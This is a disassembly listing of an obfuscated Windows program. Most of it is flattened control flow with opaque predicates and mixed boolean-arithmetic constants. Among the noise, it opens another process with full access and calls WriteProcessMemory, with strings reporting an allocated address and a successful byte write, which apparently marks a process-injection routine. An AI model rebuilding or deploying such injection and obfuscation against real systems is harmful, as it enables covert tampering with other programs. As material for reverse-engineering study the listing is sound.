mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x38c3b3fc
mov ecx, 0xc8f09898
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, 0xbea58b0f
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x578825e1
mov ecx, 0xcdd3aa1
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0x578825e1
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe67c14f0
mov ecx, 0x93e9fbc1
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, 0x9042c7f0
jmp 0x140001070
mov rdx, qword [rbp]
sub rsp, 0x20
lea rcx, str.____Allocated_based_address_is_0x_p_n
call fcn.140011390
add rsp, 0x20
mov eax, 0xda754fff
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x69d8813f
mov ecx, 0x935f2ca9
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov ecx, dword [0x140035ab0]
lea eax, [rcx - 1]
imul eax, ecx
test al, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setge dl
setl r9b
mov ebx, r9d
xor bl, r8b
mov ecx, ebx
xor cl, 1
and dl, r8b
or dl, cl
xor dl, bl
or al, r9b
and al, bl
mov ecx, edx
xor cl, 1
and cl, al
xor al, dl
xor al, cl
and r9b, r8b
mov ecx, r9d
xor cl, al
not al
and al, r9b
xor al, cl
test al, 1
mov eax, 0xecc0fc01
mov ecx, 0xfa99fdf0
cmovne eax, ecx
jmp 0x140001070
mov eax, 0x3e3fd03a
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp dword [0x140035ab4], 0xa
setge dl
setl r8b
mov ebx, r8d
xor bl, al
and cl, r8b
xor cl, bl
and dl, al
xor dl, bl
or dl, cl
or r8b, al
xor r8b, bl
or bl, dl
xor bl, r8b
mov ecx, 0x447564d0
mov ebx, 0xd081c6e9
cmovne ecx, ebx
test dl, dl
mov eax, ecx
cmovne eax, ebx
test r8b, r8b
cmove eax, ecx
jmp 0x140001070
mov eax, 0xe94ec61d
jmp 0x140001070
mov eax, 0x696c4663
jmp 0x140001070
mov eax, 0xb935ff5a
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd440bb5f
mov ecx, 0x3f62539a
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x547355ea
mov ecx, 0x1fdf753c
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
mov ecx, 0x8cd909db
mov ebx, 0xc10aa93a
cmove ecx, ebx
cmp dword [0x140035ab4], 0xa
cmovl ecx, ebx
setl dl
xor dl, al
cmovne ecx, ebx
mov eax, ecx
jmp 0x140001070
mov eax, 0x1048f023
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf35f6dc0
mov ecx, 0x830a41d8
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0xf35f6dc0
cmovl eax, ecx
jmp 0x140001070
mov rax, qword [rbp - 0x30]
mov rcx, qword [rax + 8]
sub rsp, 0x20
call fcn.140019fac
mov ecx, 0x1fffff
xor edx, edx
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
add rsp, 0x20
mov qword [rbp + 8], rax
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setge cl
setl dl
mov eax, edx
xor al, r8b
or cl, r8b
mov ebx, eax
xor bl, 1
and bl, cl
or dl, r8b
xor dl, bl
xor dl, al
mov eax, 0x8aaced5c
mov ecx, 0xe657b6f2
cmovne eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7861a346
mov ecx, 0xa9024388
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7b21781e
mov ecx, 0xb5599d70
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setge cl
setl dl
mov ebx, edx
xor bl, al
and dl, al
or cl, al
xor dl, cl
xor dl, bl
and cl, bl
or cl, dl
mov eax, ebx
xor al, cl
test bl, bl
mov edx, 0xc8451432
mov ebx, 0x583b9073
cmovne edx, ebx
test cl, cl
mov ecx, 0xc8451432
cmovne edx, ecx
test al, al
cmove edx, ebx
mov eax, edx
jmp 0x140001070
sub rsp, 0x20
lea rcx, str.___Byte_Write_sucessfully__n
call fcn.140011390
add rsp, 0x20
mov eax, 0x5eef4663
jmp 0x140001070
mov eax, 0xe9d03871
jmp 0x140001070
mov edx, dword [0x140035ab0]
mov edi, dword [0x140035ab4]
lea esi, [rdx - 1]
imul esi, edx
and esi, 1
sete dl
cmp edi, 0xa
setl r8b
setge al
and al, dl
xor dl, r8b
xor al, dl
mov ecx, esi
or cl, r8b
mov r8d, ecx
xor r8b, al
xor al, 1
mov ebx, ecx
and bl, al
movzx eax, al
movzx edx, dl
test cl, cl
cmove edx, eax
or bl, dl
not bl
movzx eax, bl
test dl, dl
mov ecx, 0xc80c4bde
mov ebx, 0xe871a94a
cmovne ecx, ebx
test r8b, r8b
cmove eax, edx
cmovne ecx, ebx
test al, 1
mov edx, 0xc80c4bde
cmovne ecx, edx
test esi, esi
mov eax, ecx
cmove eax, edx
cmp edi, 0xa
cmovge eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
mov ecx, 0xe871a94a
mov ebx, 0x252e84ff
cmove ecx, ebx
cmp dword [0x140035ab4], 0xa
cmovl ecx, ebx
setl dl
xor dl, al
cmovne ecx, ebx
mov eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x66158cfd
mov ecx, 0x7bfe224
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, 0xea89fe04
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl dl
mov ebx, edx
xor bl, al
mov ecx, edx
or cl, al
xor cl, bl
and dl, al
xor dl, cl
xor cl, 1
or cl, dl
mov eax, ecx
not al
and al, bl
xor cl, bl
xor cl, al
test cl, 1
mov eax, 0x732377fc
mov ecx, 0x24c8e17b
cmovne eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setge r8b
setl bl
mov edx, ebx
and dl, al
xor bl, al
mov ecx, eax
and cl, r8b
xor cl, bl
or al, r8b
and al, bl
or al, cl
mov r8d, edx
xor r8b, al
mov ecx, r8d
not cl
mov ebx, eax
not bl
and bl, dl
or bl, cl
xor dl, 1
or dl, al
xor bl, dl
test bl, 1
mov ecx, 0xcd117160
mov eax, 0x25a1ce82
cmovne ecx, eax
test r8b, r8b
mov eax, 0x25a1ce82
cmovne eax, ecx
test dl, dl
cmove eax, ecx
test bl, 1
mov ecx, 0xcd117160
cmovne eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl bl
setge dl
or dl, al
mov ecx, ebx
xor cl, dl
xor bl, al
xor dl, al
and cl, bl
or dl, bl
xor dl, cl
mov eax, 0xd033ae18
mov ecx, 0x7a2b7bcc
cmovne eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6d1e0e9b
mov ecx, 0x5bafe921
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x262a6d69
mov ecx, 0x517be7f3
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, 0xc001e5f8
jmp 0x140001070
mov dword [rbp - 0x48], 1
mov eax, 0x3e02598d
jmp 0x140001070
mov eax, 0x80cd34e6
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x39aeca2e
mov ecx, 0x1b15f94a
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, 0x2742e94
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setl dl
setge bl
and bl, r8b
mov eax, edx
xor al, r8b
or cl, dl
and cl, al
xor cl, bl
and dl, r8b
mov eax, ecx
not al
and al, dl
mov ebx, edx
xor bl, cl
not dl
or dl, cl
and dl, bl
xor dl, al
test dl, 1
mov eax, 0xb98598ca
mov ecx, 0x155cfc2d
cmovne eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x28ef576
mov ecx, 0xae26525a
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, 0xb871c28a
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl cl
mov ebx, ecx
xor bl, al
mov edx, ebx
xor dl, 1
and cl, al
xor cl, 1
mov eax, ebx
xor al, cl
or cl, dl
and cl, al
mov eax, ebx
and al, cl
xor cl, dl
xor cl, al
xor cl, 1
and dl, cl
xor cl, bl
xor dl, cl
test dl, 1
mov eax, 0xad5fa68e
mov ebx, 0xb8c821b4
cmovne eax, ebx
test cl, 1
cmovne eax, ebx
test dl, 1
mov ecx, 0xad5fa68e
cmovne eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x686daf2
mov ecx, 0x898acd74
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6e1bbd9a
mov ecx, 0x863fccf2
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0x6e1bbd9a
cmovl eax, ecx
jmp 0x140001070
mov eax, 0x70c098bd
jmp 0x140001070
mov eax, 0x4ce43a0b
jmp 0x140001070
mov eax, 0xec7d0378
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl bl
setge dl
or dl, al
mov r8d, ebx
xor r8b, dl
xor bl, al
xor dl, al
mov eax, edx
xor al, 1
and al, bl
mov ecx, ebx
or cl, r8b
xor cl, al
mov eax, 0x7ccc0a92
mov ecx, 0x29415139
cmovne eax, ecx
test r8b, r8b
mov ecx, 0x7ccc0a92
cmovne ecx, eax
test bl, bl
cmove ecx, eax
test dl, dl
cmove ecx, eax
mov eax, ecx
jmp 0x140001070
mov eax, 0x247917ca
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x65f8fd8
mov ecx, 0x83ef79b9
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setge r8b
setl bl
mov edx, ebx
and dl, al
mov ecx, eax
or cl, r8b
xor bl, al
mov r9d, ebx
xor r9b, 1
and al, r8b
or al, r9b
xor al, bl
and cl, al
xor cl, 1
movzx ebx, al
movzx eax, cl
test dl, dl
cmove ebx, eax
mov ecx, edx
or cl, al
and dl, al
or dl, bl
mov eax, ecx
xor al, dl
not dl
and dl, cl
xor dl, al
test dl, 1
mov eax, 0xbf259d74
mov ecx, 0xdde643ce
cmovne eax, ecx
test bl, bl
cmovne eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setge dl
setl al
mov ebx, eax
and cl, al
and al, r8b
xor bl, r8b
or dl, r8b
and dl, bl
xor cl, dl
or cl, bl
xor cl, al
mov eax, 0x2fb08304
mov ecx, 0xa04c0316
cmovne eax, ecx
jmp 0x140001070
mov ecx, dword [0x140035ab0]
mov edi, dword [0x140035ab4]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp edi, 0xa
setl bl
mov eax, ebx
xor al, cl
and bl, cl
xor bl, 1
mov ecx, eax
or cl, bl
xor bl, al
mov eax, ebx
xor al, cl
test cl, cl
mov ecx, 0x1d99d7fb
mov esi, 0x4026c7a
cmovne ecx, esi
test al, al
mov esi, 0x1d99d7fb
cmovne ecx, esi
test bl, bl
mov eax, ecx
cmovne eax, esi
test dl, 1
cmove ecx, eax
cmp edi, 0xa
cmovl ecx, eax
mov eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xfd5938b6
mov ecx, 0x3446a976
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [rbp + 0x18]
mov eax, dword [rbp + 0x18]
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x44fb1ad5
mov ecx, 0xea3326b3
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xdd6fbb75
mov ecx, 0xe59d4ae9
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, 0xf1de0fb2
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x32ab102b
mov ecx, 0xce9ca7cc
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2839927c
mov ecx, 0xa26ccaa5
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, 0xd04b5e1f
jmp 0x140001070
mov eax, 0xe1ca3adf
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6e87abb2
mov ecx, 0xd83b82b7
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0x6e87abb2
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x467025b9
mov ecx, 0xad8de38d
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x632d8cb8
mov ecx, 0xb119289b
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0x632d8cb8
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
mov edi, dword [0x140035ab4]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete r8b
cmp edi, 0xa
setge bl
setl cl
xor cl, r8b
mov eax, ecx
xor al, 1
and bl, r8b
or bl, al
xor bl, cl
mov eax, 0xf0bf39ba
mov ecx, 0x11395846
cmovne eax, ecx
test dl, 1
mov ecx, 0xf0bf39ba
cmove ecx, eax
cmp edi, 0xa
cmovge ecx, eax
test dl, 1
mov eax, ecx
mov edx, 0xf0bf39ba
cmove eax, edx
cmp edi, 0xa
cmovge eax, ecx
jmp 0x140001070
mov eax, 0x10
call fcn.140014cd0
sub rsp, rax
mov rdi, rsp
mov eax, dword [0x140035ab0]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete al
cmp dword [0x140035ab4], 0xa
setge bl
setl cl
and dl, cl
xor dl, cl
and cl, al
or bl, al
xor dl, al
mov eax, ebx
xor al, dl
xor bl, 1
and bl, dl
xor bl, al
mov eax, ecx
not al
and al, bl
mov edx, ecx
xor dl, bl
xor al, dl
xor bl, 1
or bl, cl
xor al, bl
test al, 1
mov ecx, 0x44313b5e
mov esi, 0x48fcb025
cmovne ecx, esi
test bl, 1
mov eax, ecx
cmovne eax, esi
mov qword [rbp - 8], rdi
test dl, dl
cmove eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3b65fa06
mov ecx, 0x1ba730ef
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, 0x21d0686a
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl r9b
setge bl
or bl, al
mov r8d, r9d
xor r8b, bl
xor r9b, al
xor bl, al
mov eax, r9d
and al, r8b
or al, bl
mov ecx, r9d
or cl, r8b
mov edx, ebx
xor dl, 1
and dl, cl
mov ecx, edx
xor cl, al
mov ecx, 0xa4942048
mov edi, 0x2b81849f
cmovne ecx, edi
test dl, dl
mov edx, ecx
mov edi, 0xa4942048
cmovne edx, edi
test al, al
cmovne edx, ecx
test r8b, r8b
mov eax, 0xa4942048
cmovne eax, edx
test r9b, r9b
cmovne eax, edi
test bl, bl
cmove eax, edx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc9fe36d9
mov ecx, 0xadcb5344
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0xc9fe36d9
cmovl eax, ecx
jmp 0x140001070
cmp byte [rbp - 0x16], 0
mov eax, 0x93a778b6
mov ecx, 0x54f9f845
cmovne eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf4581fde
mov ecx, 0x547355ea
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0xf4581fde
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl bl
mov r8d, ebx
xor r8b, al
mov edx, ebx
or dl, al
xor dl, r8b
and bl, al
mov eax, ebx
xor al, dl
mov ecx, edx
or cl, al
xor cl, 1
or cl, al
xor dl, 1
or dl, al
and dl, bl
or dl, cl
mov eax, r8d
or al, dl
and cl, r8b
xor cl, al
test cl, 1
mov eax, 0xd04caac6
mov ecx, 0x919aefe7
cmovne eax, ecx
mov ecx, dword [rbp - 0x44]
mov dword [rbp + 0x14], ecx
test r8b, r8b
mov ecx, eax
mov ebx, 0xd04caac6
cmovne ecx, ebx
mov ebx, dword [rbp - 0x3c]
mov dword [rbp + 0x18], ebx
test dl, 1
cmovne ecx, eax
mov eax, ecx
jmp 0x140001070
mov eax, 0x1d99d7fb
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x91434a4a
mov ecx, 0xd084dbcf
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, 0x4c316b7e
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb119289b
mov ecx, 0x1da244f1
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov r8d, dword [rbp + 0x1c]
mov eax, r8d
xor eax, 0x1007460c
and eax, r8d
mov ecx, r8d
and ecx, 0x1007460c
xor ecx, 0x5147cecc
and eax, 0xbe1f570e
or eax, ecx
mov ecx, r8d
and ecx, 0xa02031
xor ecx, 0x10a7663d
mov edx, eax
and edx, 0xef5899c2
not eax
and eax, ecx
or eax, edx
mov ecx, eax
and ecx, 0x93a417eb
xor ecx, 0xfe5fff1e
mov edx, eax
xor edx, 0x2dbb40e5
or edx, ecx
and eax, 0x7fdbfed7
mov ecx, eax
xor ecx, 0x1a193e06
and edx, ecx
mov edi, r8d
and edi, 0x93a417eb
or edi, edx
mov edx, ecx
and edx, 0x6c5be814
mov ebx, edi
or ebx, 0x6c5be814
xor eax, 0x4404804
and eax, edx
mov esi, edi
and esi, 0x1324172b
or esi, 0x88838094
xor esi, eax
and edi, 0x92041448
mov eax, ebx
and eax, 0x21b82bb7
or eax, edi
and ecx, 0x20182814
xor ecx, eax
xor ecx, 0xb3bc3fff
xor ebx, edx
or ebx, ecx
mov edx, esi
xor edx, 0xe0d04800
xor esi, ebx
xor esi, 0xe0d04800
or edx, ebx
not edx
or edx, esi
mov eax, edx
and eax, 0x34cf0ad2
or eax, 0xa003420
and edx, 0xcb30f52d
xor edx, eax
mov r11d, edx
and r11d, 0x61e6268d
xor r11d, 0x61e6028d
mov ecx, edx
xor ecx, 0x9419ed52
mov ebx, r11d
or ebx, ecx
xor edx, 0xa003420
or edx, ecx
mov ecx, ebx
xor ecx, 0x4159ef48
mov edi, edx
xor edi, 0x4159ef48
xor ebx, 0xbea610b7
and ebx, edi
or r11d, edx
xor edx, 0xbea610b7
and edx, ecx
or edx, ebx
mov ecx, r11d
xor ecx, edx
not ecx
not r11d
and r11d, edx
or r11d, ecx
mov edx, r8d
or edx, 0x6a58089e
mov edi, edx
not edi
mov ecx, r8d
xor ecx, 0x28000008
and ecx, r8d
and edx, 0xc1522d8d
mov ebx, edi
and ebx, 0x14a5d260
or ebx, edx
mov edx, ebx
xor edx, 0x3eadd272
and r8d, 0x28000008
xor ebx, 0x6cd02984
and ebx, edx
and edi, 0x1025f360
or edi, ebx
xor r8d, 0xad820409
and ecx, 0x6a58089e
or ecx, r8d
xor ecx, edi
mov edx, ecx
and edx, 0x6b2a3040
or edx, 0x90110289
and ecx, 0x94d5cfbf
xor ecx, edx
mov r8d, ecx
xor r8d, 0x5b6f5e8
mov edx, ecx
xor edx, 0x25248dd7
mov ebx, ecx
or ebx, 0x2092783f
xor ebx, 0xfadb7a3f
or ebx, edx
mov esi, ecx
or esi, 0xdf6d87c0
xor esi, 0xdffff7e8
or edx, esi
mov edi, edx
xor edx, ebx
or esi, ebx
and ebx, 0xf28d41a5
or ebx, 0xd600c4a
and edi, 0xf28d41a5
or edi, 0x40820a
and edx, 0xd72be5a
xor edx, ebx
xor edx, edi
mov ebx, edx
xor ebx, 0xf2df71bf
xor edx, esi
xor edx, 0xf2df71bf
or ebx, esi
not ebx
or ebx, edx
mov edx, ebx
and edx, 0xdb86689e
or edx, 0x681221
and ebx, 0x24799761
xor ebx, edx
mov edx, ebx
xor edx, 0x20fa6a26
mov edi, ecx
xor edi, 0x5b6f5d0
and edi, r8d
xor ecx, 0xfa490a2f
or ecx, edi
mov edi, ebx
xor edi, 0xdf0595d9
mov esi, ebx
or esi, 0xe0b6e078
xor esi, 0xffb7f5f9
xor ebx, 0x3fb375a1
and ebx, edx
or ebx, esi
mov edx, ecx
and edx, 0x1f491f87
or edi, ecx
and ecx, 0xe0b6e078
or ecx, 0x8080b87
xor ecx, edx
xor ecx, ebx
mov edx, ecx
xor edx, 0x17411400
xor ecx, edi
xor ecx, 0x17411400
or edx, edi
not edx
or edx, ecx
mov ecx, edx
and ecx, 0x133b752d
or ecx, 0xa4448240
and edx, 0xecc48ad2
xor edx, ecx
mov ecx, edx
xor ecx, 0xa4448240
mov ebx, edx
or ebx, 0x66a1ca45
mov edi, edx
xor edi, 0x3d1ab7fa
and edi, ecx
mov ecx, ebx
and ecx, 0x9b459a33
and edx, 0x1a2588
or edx, ecx
xor edx, edi
xor edx, 0x1b1bbfbb
xor ebx, 0x7fbbffff
and ebx, edi
or ebx, edx
xor ebx, 0x995e35ba
mov ecx, r11d
and ecx, 0x30
mov r9d, r11d
and r9d, 8
or r9d, 0x8fae6397
xor r9d, ecx
mov r8d, r9d
xor r8d, 0x70519c60
mov edx, ebx
and edx, 0x2a5c69da
mov ecx, ebx
or ecx, 0xd5a39625
xor edx, 0x9d015b17
and edx, ecx
mov r14d, ebx
or r14d, 0xf7ffb6ed
mov edi, ebx
and edi, 0x95011205
or edi, 0x4022c930
mov esi, ebx
and esi, 0x40a28420
xor esi, edi
mov eax, esi
xor eax, 0xf77ffbfd
mov edi, r14d
and edi, 0x7bea1837
not r14d
and r14d, edx
and edx, 0xae5d6bda
xor edx, edi
xor edx, 0x6aea4932
or r14d, edx
xor esi, 0x8800402
and esi, r14d
not r14d
and r14d, eax
or r14d, esi
mov eax, r14d
xor eax, 0x2a5c69da
mov ecx, r14d
mov r10d, r14d
mov r15d, r14d
mov edi, eax
mov dword [rbp - 0x64], eax
and eax, r8d
mov dword [rbp - 0x68], eax
xor r14d, r8d
xor r14d, 0x2a5c69da
and r14d, r8d
mov esi, r8d
and esi, 0xfed7dcfa
xor esi, r9d
xor r9d, 0x8fae639f
mov dword [rbp - 0x60], r9d
xor esi, 0xe8d2fee4
and r11d, 0x38
mov edx, r11d
xor edx, 0x99ab4189
xor r11d, 0x6654be76
or r11d, edx
mov eax, r11d
not eax
xor ecx, 0xd5a39625
and ecx, edi
xor r10d, ecx
xor r10d, 0x44009624
xor r15d, 0x44009624
and r15d, ecx
or r15d, r10d
mov qword [rbp - 0x80], r15
mov edx, ebx
and edx, 0xfd4cefad
or edx, 0x11042
mov r8d, ebx
and r8d, 0x2b31052
xor r8d, edx
and ebx, 0x6654be7e
mov edx, ebx
xor edx, r8d
xor edx, 0x6655ae3c
xor r8d, 0x6654ae3c
and r8d, ebx
or r8d, edx
mov edx, r8d
and edx, 0x88eaecc
or edx, 0x71105123
and r8d, 0xf7715133
xor r8d, edx
mov r15d, r11d
mov ebx, r11d
and ebx, 0x7923950c
mov edx, r11d
mov dword [rbp - 0x58], r11d
and edx, 0x25c6a73
or ebx, 0x84d402e1
xor ebx, edx
mov edi, ebx
xor edi, 0x56e2316a
mov ecx, ebx
xor ecx, 0xffabfd9e
mov dword [rbp - 0x5c], ecx
or edi, ecx
and r15d, 0xa949ccf4
or r15d, 0x2002300
xor r15d, edi
not edi
and edi, eax
mov r10d, esi
or r10d, r9d
mov eax, r10d
or eax, 0x56b6330b
mov edx, eax
not edx
and eax, 0x7248a769
mov ecx, edx
and ecx, 0x89014890
or ecx, eax
mov eax, ecx
xor eax, 0x8db75892
mov r9d, ecx
xor r9d, 0x27dbad03
and r9d, eax
and edx, 0xa848c490
or edx, r9d
mov r9d, r10d
and r9d, 0x56b6110b
xor ecx, 0x7248a76d
mov r12d, ecx
or ecx, r9d
not r9d
mov r11d, r10d
and r11d, 0x12000a
mov r13d, r9d
and r13d, 0x54810020
add r11d, r13d
add r11d, 0x80603110
mov r13, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
and esi, 0x201101
xor esi, r11d
or esi, 0x88000
xor esi, edx
mov edx, r10d
and edx, 0x56b00009
and r9d, 0x890fbf66
or r9d, edx
and r12d, 0x20404090
and eax, 0x890fbf62
or eax, r12d
xor eax, r9d
not eax
and eax, ecx
mov ecx, esi
xor ecx, eax
xor esi, 0x817abb5e
and esi, eax
xor ecx, 0x817abb5e
or esi, ecx
and edi, 0xfffffff0
xor r15d, edi
and edi, dword [rbp - 0x58]
or edi, r15d
mov eax, r10d
xor edi, esi
mov ecx, ebx
xor ecx, 0x1340c747
and ecx, dword [rbp - 0x5c]
mov edx, ebx
xor ebx, 0x540261
and ebx, r10d
or edx, 0x9714c526
and eax, 0x8610c422
or eax, 0x8283289
and r10d, 0x68eb18d9
xor r10d, eax
mov esi, edx
and esi, 0x8c99589c
xor esi, ecx
xor edx, 0x9754c767
and edx, ecx
mov r11, qword [rbp - 0x80]
mov eax, r11d
and eax, 0x6654be7e
xor esi, 0x84504245
or edx, esi
mov ecx, r10d
xor ecx, 0x9f3cf7af
xor r10d, 0x60c30850
and r10d, edx
not edx
and edx, ecx
mov ecx, eax
xor ecx, 0x6654be7e
or ebx, edx
mov r9d, r8d
